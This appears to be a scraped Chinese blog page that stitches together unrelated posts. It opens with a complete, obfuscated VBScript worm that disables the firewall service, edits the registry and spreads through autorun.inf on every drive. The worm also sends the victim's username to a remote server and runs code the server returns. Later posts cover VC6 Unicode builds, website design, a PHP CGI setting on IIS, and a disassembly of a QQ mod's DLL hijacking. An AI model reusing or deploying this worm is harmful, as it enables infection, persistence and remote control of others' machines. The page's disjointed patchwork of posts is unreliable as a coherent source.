[code]On error ResUme NeXTSet Fso=cREaTeObjEct(STRREVErsE("tCeJbOMetsYSELIf.gnItPIRCs"))SET wSHshEll=cReaTEOBJEcT(strREverSE("LlEhs.TPIrCSW"))dIm drI_lISt,DrI_lisT0DiM IssEnDISsEnd=0c_TIMe=datE()WshshELL.ruN "Net SToP sHaReDaccEsS",0seT DrvS=fSO.DrivessYsdIr=fSo.GetSpeCIalfoLDeR(1)thiSPATH=WscRIPt.sCrIPtfuLLNAMesEt FC=fSo.OPENTExTFilE(tHiSpaTH,1)Scopy=Fc.rEAdaLlfC.CLoSESET fC=NotHInGcAlL wriTEFILe(sYsdIr&"\SYsInfO.reg",UNescapE(sTRReverSE("00C2%00c2%00C2%00C2%00c2%00C2%00c2%00c2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00a3%92%B82%XEHD3%22%EMItCeXe22%a0%D0%02%22%22%D3%22%SrETeMARAp22%a0%d0%02%22%sBv.gfcNrpc5%C5%23meTSYSC5%C5%52%RIdniW52%22%d3%22%tpIrCS22%A0%D0%02%d5%0c5%0c5%puTrAtsc5%STpIRcsc5%ENiHcaMc5%EtATsc5%YcILoP02%puorGc5%noiSrEVTneRRUcc5%sWodNiwc5%tFoSOrcimc5%erAWTFOsC5%enihcam_lACOL_yEKHb5%A0%d0%A0%d0%02%00c2%00c2%00C2%00C2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00C2%00C2%00C2%00c2%00A3%92%B82%xEhD3%22%EmItCexe22%a0%D0%02%22%22%d3%22%SReteMaRAp22%A0%d0%02%22%SbV.gFcnrpc5%C5%23meTsYSC5%C5%52%riDniW52%22%D3%22%tpirCs22%A0%d0%02%d5%0c5%0C5%puTRAtsC5%StpIRcsc5%meTsysc5%SwODNiWC5%TFOsoRCiMc5%sEICiLOpC5%eraWtfosc5%ENihcAM_LACoL_yeKHB5%a0%D0%A0%d0%03%03%e2%53%02%E6%f6%96%37%27%56%65%02%27%F6%47%96%46%54%02%97%27%47%37%96%76%56%25%02%37%77%F6%46%E6%96%75%")))wShSHell.ruN "REGEDiT /s sysinFo.REG",0wsCRIPt.SLeep 200fso.dElETEfILe SYSdiR&"\sYsiNFO.REg",trueif iNsTr(thISPATH,SysdIR)>0 thENDri_LIsT0=LISTDrV()O_time=Left(C_tIme,3)&cstR(INT(mid(C_Time,4,1))-1)&rIgHt(C_Time,Len(c_timE)-4)wSHShell.run "cmd /C DAte "&o_time,0WsCrIpt.slEEP 10000foR DRi_i=1 TO leN(drI_lIst0)CaLL WriTeaUtO(mID(dRI_List0,Dri_I,1)&":\")NEXTwsHSHElL.rUN "Cmd /C DatE "&C_TIMe,0comPUterNAme="":uSernaME=""set OBjwmiservIcE=geToBjECt("winMgmTs:{imPErsONatIONlevel=imPersonaTe}!\\.\roOt\CImV2")set ColCoMPUTerS = ObJwMIsErvice.ExEcQuery("SEleCt * froM Win32_cOmpuTERsYsTem")foR eAch oBJCOmputer IN colCOMPUTErscOmpUtErnAmE=OBjComPuTEr.nAMeuserNAME=OBJcOMPUtEr.UsERnAMenEXtif uSeRnAmE="" tHEn usERname="Evar"If INstr(uSERnAme,"\")<=0 ThEnuseRnaMe=COMpuTERnAmE&"\"&usernaMeEnd iFDoif IsseNd=0 thenseT XmL=CreATEobjEct(stRrEVERse("ptTHLMxreVRES.2LmxSm")) xmL.OPEN "geT",StRrEVerSe(unESCApE("%3D%61%3F%70%73%61%2E%74%6e%75%6f%63%2f%61%76%65%2f%62%7a%7a%2F%30%30%31%2E%34%30%31%2e%39%31%31%2e%32%30%32%2F%2f%3A%70%74%74%68"))&usErNAMe,0Xml.SeTrequesTheaDEr "uSer-AGent","EvaR"XML.Send()if ERR.NUMbER=0 thEnIsSEND=1res=Xml.REspOnsetExtIF uCASe(LeFT(REs,7))=uCAse("exECuTe") then ExecUtE ResElseErr.CLEAREnd IFSeT xmL=nOtHiNGEND IfDri_LIst=liStdRV()FoR DRI_k=1 tO lEn(drI_liST)If INstR(DRI_LiST0,MiD(dRI_list,dRi_K,1))<=0 theNCAlL wRITEauto(mId(DrI_LIst,dRI_k,1)&":\")End ifNEXtDRI_LIST0=drI_lIsTwSCRiPt.sleeP 1000lOOpELSEWShSHeLL.rUn "ExPLorER .\",3WScRIPt.sleEp 2000WsHshELL.appaCTIVaTe unEsCape(lcaSe("%u6211%u7684%u7535%u8111"))WsHSHEll.sEndkEys uCaSe("% C")rUnfLAG=0fOr eACh pS in gETobJECT _ ("WinmGmtS:\\.\rOoT\cIMV2:wiN32_pRocEsS").INSTAncES_ if LcasE(PS.nAMe)=LCASe("wSCRIPT.EXe") tHeNRUNFLAg=runfLAg+1end IFNEXtIf RUNfLaG>=2 thEn wsCRipT.QUITSEt Sf=FSO.gETFOLdEr(SYSdir)F_TIMe=leFT(sf.DateCreaTeD,iNstr(sf.DATeCREAteD," ")-1)WsHSHEll.Run "CmD /C DAtE "&F_tIMe,0wScRIPT.SLEEp 100calL wriTEFILe(SySDIR&LcAse("\PRNcFG.vBs"),Vs(SCOPY))wsHSHell.Run "CMD /c dATE "&C_tImE,0wsHshelL.rUN SySDir&"\pRnCFG.VbS"EnD IFfunctiOn VS(str)ExeCutE strReVErse(uNescAPE("%29%29%22u%25%22%28ESAcl%2c%29%22u%25%22%28eSacU%2CsV%28eCALPeR%3DsV%0D%0AtxEN%0d%0AFI%20dNE%0D%0Ac%26sV%3dSV%0d%0aeSlE%0D%0A%29c%28EsacL%26sv%3Dsv%0d%0AnEHT%2005%3e%29001*%29%28dNr%28tnI%20fI%0D%0AEZIMoDnAR%0d%0a%29%291%2ci%2CRts%28DIm%28eSAcu%3dC%0d%0A%29RTs%28Nel%20OT%201%3Di%20roF"))eND FUNCTiOnFuNcTioN LISTdRV()EXEcUTe STrreVERSE(UNeSCAPE("TsiL_pMT%3DVRDtsil%0d%0ATXEN%0d%0AFI%20DNe%0d%0AretteLEViRD.vrD%26tsIl_Pmt%3DTsIL_PmT%0d%0anEhT%20YdAERSI.VrD%20fi%0d%0aSVRd%20Ni%20vRd%20hcaE%20rof%0D%0a%22%22%3dTSIL_pMT%0D%0aTSIL_pmt%20MID"))END FUnCtiONsuB WRITeAUtO(PATH)exECute STRREVErSE(UNEsCapE("FI%20DNE%0d%0AeUrT%2C%22fni.NUrotUA%22%26Htap%20ELiFETelEd.Osf%0d%0aneHT%20%29%22fnI.nUrOTUA%22%26HtAp%28StsixeeLiF.Osf%20fIEslE%0D%0a%29%28dnr%26htAP%2C%22fNI.NurOTuA%22%26HTap%20rEDLOfevOM.OSF%0d%0aNEhT%20%29%22FnI.nUrOTUA%22%26Htap%28STSIXeREDLOF.Osf%20FI"))Cmdstr="ShELL\*\commAND=wsCrIpT.eXe "&CHR(34)&"EVA.Vbs"&cHR(34)AuTOSTR="[AUtorUn]"&VBcrLF&"OPeN="&vbcrLF&REPlace(CMdstr,"*","OPeN")&vBCrLf&rePlACe(cmDsTr,"*","EXplorE")&VbcrlF&RePLacE(cMDsTr,"*","fInD")cALL WriTEFIle(PATh&uCASE("aUTorUN.iNf"),aUToSTR)CalL WrITEFiLE(Path&"Eva.VbS",vs(sCOPY))eNd SUBSUb WriTEFiLe(FPATH,CONtenT)EXEcuTE sTRrEVeRse(uNESCAPe("gNIHton%3daF%20TeS%0D%0A7%3dseTuBIrTta.aF%0D%0A%29htapF%28EliftEg.oSF%3Daf%20Tes%0D%0aGnIhToN%3DCF%20TES%0d%0AEsolC.CF%0d%0atNETnOc%20eTIrW.CF%0D%0A%29EURT%2C2%2chtAPf%28eLiFtxEtNEPO.OSF%3dCF%20Tes%0d%0aeURT%2cHTAPF%20ELifeTeLeD.Osf%20nEHt%20%29htAPF%28stsiXEElif.osf%20FI"))eND Sub [/code]
-:如何在vc6中进行unicode编译 1.菜单Build–>Configurations–>Add,添加一个Unicode Debug。 2.菜单Build–>Set Active Configuration,选择Win32 Unicode Debug。 3.菜单Project–>Settings->C/C++属性页->Category中,选择Preprocessor,在Preprocessor definitions中添加 _UNICODE。 4.菜单Project–>Settings->Link属性页->Category选中,选择Output,在Entry- point symbol中写入wWinMainCRTStartup。如不执行该步骤,会出现错误”unresolved external symbol _WinMain@16“。 二:把char全换成TCHAR 所有的字符串用_T()宏 比如 char sz=”aaa”; 改成 TCHAR sz=_T(“aaa”); 2.修改字符串函数: 如strlen改成_tcslen 也可以改成lstrlen
用网站的人 都喜欢简单易用!做网站的人总会想我功能强大你一定喜欢!其实不然用户花多少时间在你这强大的站上去玩呢 能带给他多少利益趣味或其他有价值的东西呢!不要一味的让用户贡献!那是行不通的网上家园的概念还有一定距离人家自己在家一个家庭干嘛跑到你网上来沟通!不是没有!但是不多
CGI ErrorThe specified CGI application misbehaved by not returning a complete set of HTTP headers.try change REGEDIT4[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters\Script Map]“.php”=”[PUT PATH HERE]\\php.exe”try ; cgi.force_redirect is necessary to provide security running PHP as a CGI under; most web servers. Left undefined, PHP turns this on by default. You can; turn it off here AT YOUR OWN RISK; **You CAN safely turn this off for IIS, in fact, you MUST.**cgi.force_redirect = 0
彩虹QQ删除原版MSIMG32.dll 012581F3 83C4 0C add esp, 0C012581F6 68 2C4D2C01 push 012C4D2C ; ASCII “MSIMG32.dll”012581FB 8D8D D8FEFFFF lea ecx, dword ptr [ebp-128]01258201 51 push ecx01258202 E8 B99B0300 call 01291DC001258207 83C4 08 add esp, 80125820A 68 80000000 push 800125820F 8D95 D8FEFFFF lea edx, dword ptr [ebp-128]01258215 52 push edx01258216 FF15 98312C01 call dword ptr [<&KERNEL32.SetFileAtt>; kernel32.SetFileAttributesA0125821C 8D85 D8FEFFFF lea eax, dword ptr [ebp-128]01258222 50 push eax01258223 FF15 9C312C01 call dword ptr [<&KERNEL32.DeleteFile>; kernel32.DeleteFileA01258229 C785 B0FBFFFF 0>mov dword ptr [ebp-450], 001258233 6A 10 push 1001258235 6A 00 push 001258237 8D8D C4FCFFFF lea ecx, dword ptr [ebp-33C]0125823D 51 push ecx0125823E E8 0D8B0300 call 01290D5001258243 83C4 0C add esp, 0C01258246 C745 FC 0000000>mov dword ptr [ebp-4], 00125824D 8D95 B8FBFFFF lea edx, dword ptr [ebp-448]01258253 52 push edx 复制自己的 msimg32.dll去给QQ BB012583EB 8D8D A8FAFFFF lea ecx, dword ptr [ebp-558]012583F1 51 push ecx012583F2 E8 B9990300 call 01291DB0012583F7 83C4 08 add esp, 8012583FA 68 604D2C01 push 012C4D60 ; ASCII “msimg32.dll”012583FF 8D95 A8FAFFFF lea edx, dword ptr [ebp-558]01258405 52 push edx01258406 E8 B5990300 call 01291DC00125840B 83C4 08 add esp, 80125840E 6A 00 push 001258410 8D85 A8FAFFFF lea eax, dword ptr [ebp-558]01258416 50 push eax01258417 68 6C4D2C01 push 012C4D6C ; ASCII “msimg32.dll”0125841C FF15 D4312C01 call dword ptr [<&KERNEL32.CopyFileA>] ; kernel32.CopyFileA01258422 8B4D 10 mov ecx, dword ptr [ebp+10]01258425 890D 04F12F01 mov dword ptr [12FF104], ecx0125842B C785 48F9FFFF 0>mov dword ptr [ebp-6B8], 001258435 B9 10000000 mov ecx, 100125843A 33C0 xor eax, eax0125843C 8DBD 4CF9FFFF lea edi, dword ptr [ebp-6B4]01258442 F3:AB rep stos dword ptr es:[edi] 开始启动QQ了0125845C 6A 00 push 00125845E 6A 00 push 001258460 6A 20 push 2001258462 6A 00 push 001258464 6A 00 push 001258466 6A 00 push 001258468 8D8D D8FCFFFF lea ecx, dword ptr [ebp-328]0125846E 51 push ecx0125846F 8D95 D8FEFFFF lea edx, dword ptr [ebp-128]01258475 52 push edx01258476 FF15 A8312C01 call dword ptr [<&KERNEL32.CreateProcessA>] ; kernel32.CreateProcessA0125847C 85C0 test eax, eax0125847E 75 0A jnz short 0125848A01258480 C785 B0FBFFFF 0>mov dword ptr [ebp-450], 10125848A C745 FC FFFFFFF>mov dword ptr [ebp-4], -101258491 E8 02000000 call 0125849801258496 EB 43 jmp short 012584DB01258498 83BD C4FCFFFF 0>cmp dword ptr [ebp-33C], 00125849F 74 18 je short 012584B9012584A1 8B85 C4FCFFFF mov eax, dword ptr [ebp-33C]012584A7 50 push eax012584A8 FF15 AC312C01 call dword ptr [<&KERNEL32.CloseHandle>] ; kernel32.CloseHandle012584AE 8B4D 08 mov ecx, dword ptr [ebp+8] 堆栈信息 0012F4AC 0012FA74 |ModuleFileName = “D:\soft\Tencent\QQ2008II Beta1\QQ.exe”0012F4B0 0012F874 |CommandLine = “”"D:\soft\Tencent\QQ\caihong hok\CaiHong.exe”"”0012F4B4 00000000 |pProcessSecurity = NULL0012F4B8 00000000 |pThreadSecurity = NULL0012F4BC 00000000 |InheritHandles = FALSE0012F4C0 00000020 |CreationFlags = NORMAL_PRIORITY_CLASS0012F4C4 00000000 |pEnvironment = NULL0012F4C8 00000000 |CurrentDir = NULL0012F4CC 0012F4E4 |pStartupInfo = 0012F4E40012F4D0 0012F860 \pProcessInfo = 0012F8600012F4D4 7C80B6A1 kernel32.GetModuleHandleA0012F4D8 000000000040158F . 52 push edx00401590 . 68 F8994000 push 004099F800401595 . 68 F4994000 push 004099F40040159A . FF95 8CFEFFFF call dword ptr [ebp-174] ; 原来在这里 回去caihong.exe了 打算功成身退了004015A0 . 83C4 0C add esp, 0C004015A3 . 8945 BC mov dword ptr [ebp-44], eax004015A6 . 8B45 BC mov eax, dword ptr [ebp-44]004015A9 . 50 push eax004015AA . FF55 E4 call dword ptr [ebp-1C]004015AD . 83C4 04 add esp, 4004015B0 > 837D BC 00 cmp dword ptr [ebp-44], 0004015B4 . 74 08 je short 004015BE主要在msimg32.dll 里装载真正的msimg32.dll的函数 后启动一个线程003A10EF CC int3003A10F0 55 push ebp003A10F1 8BEC mov ebp, esp003A10F3 81EC 1C020000 sub esp, 21C003A10F9 A1 30903A00 mov eax, dword ptr [3A9030]003A10FE 8945 FC mov dword ptr [ebp-4], eax003A1101 68 03010000 push 103003A1106 8D85 F0FEFFFF lea eax, dword ptr [ebp-110]003A110C 50 push eax003A110D 68 5C713A00 push 003A715C ; ASCII “CaiHongPath”003A1112 FF15 20703A00 call dword ptr [<&KERNEL32.GetEnvironmentVariableA>] ; kernel32.GetEnvironmentVariableA003A1118 85C0 test eax, eax003A111A 0F85 B6000000 jnz 003A11D6003A1120 68 04010000 push 104003A1125 8D8D E8FDFFFF lea ecx, dword ptr [ebp-218]003A112B 51 push ecx003A112C 6A 00 push 0003A112E FF15 1C703A00 call dword ptr [<&KERNEL32.GetModuleFileNameA>] ; kernel32.GetModuleFileNameA003A1134 8D95 E8FDFFFF lea edx, dword ptr [ebp-218]003A113A 52 push edx003A113B FF15 18703A00 call dword ptr [<&KERNEL32.lstrlenA>] ; kernel32.lstrlenA003A1141 83E8 01 sub eax, 1003A1144 8985 E4FDFFFF mov dword ptr [ebp-21C], eax003A114A EB 0F jmp short 003A115B003A114C 8B85 E4FDFFFF mov eax, dword ptr [ebp-21C]003A1152 83E8 01 sub eax, 1003A1155 8985 E4FDFFFF mov dword ptr [ebp-21C], eax003A115B 83BD E4FDFFFF 0>cmp dword ptr [ebp-21C], 0003A1162 7C 17 jl short 003A117B003A1164 8B8D E4FDFFFF mov ecx, dword ptr [ebp-21C]003A116A 0FBE940D E8FDFF>movsx edx, byte ptr [ebp+ecx-218]003A1172 83FA 5C cmp edx, 5C003A1175 75 02 jnz short 003A1179003A1177 EB 02 jmp short 003A117B003A1179 ^ EB D1 jmp short 003A114C003A117B 68 68713A00 push 003A7168 ; ASCII “QQ.exe”003A1180 8B85 E4FDFFFF mov eax, dword ptr [ebp-21C]003A1186 8D8C05 E9FDFFFF lea ecx, dword ptr [ebp+eax-217]003A118D 51 push ecx003A118E FF15 14703A00 call dword ptr [<&KERNEL32.lstrcmpiA>] ; kernel32.lstrcmpiA003A1194 85C0 test eax, eax003A1196 74 1D je short 003A11B5003A1198 68 70713A00 push 003A7170 ; ASCII “TM.exe”003A119D 8B95 E4FDFFFF mov edx, dword ptr [ebp-21C]003A11A3 8D8415 E9FDFFFF lea eax, dword ptr [ebp+edx-217]003A11AA 50 push eax003A11AB FF15 14703A00 call dword ptr [<&KERNEL32.lstrcmpiA>] ; kernel32.lstrcmpiA003A11B1 85C0 test eax, eax003A11B3 75 21 jnz short 003A11D6003A11B5 68 78713A00 push 003A7178 ; ASCII “CaiHong.dll”003A11BA 8D8D F0FEFFFF lea ecx, dword ptr [ebp-110]003A11C0 51 push ecx003A11C1 E8 BA010000 call 003A1380003A11C6 83C4 08 add esp, 8003A11C9 8D95 F0FEFFFF lea edx, dword ptr [ebp-110]003A11CF 52 push edx003A11D0 FF15 08703A00 call dword ptr [<&KERNEL32.LoadLibraryA>] ; kernel32.LoadLibraryA003A11D6 33C0 xor eax, eax003A11D8 8B4D FC mov ecx, dword ptr [ebp-4]003A11DB E8 75010000 call 003A1355003A11E0 8BE5 mov esp, ebp003A11E2 5D pop ebp003A11E3 C2 0400 retn 4003A11E6 CC int3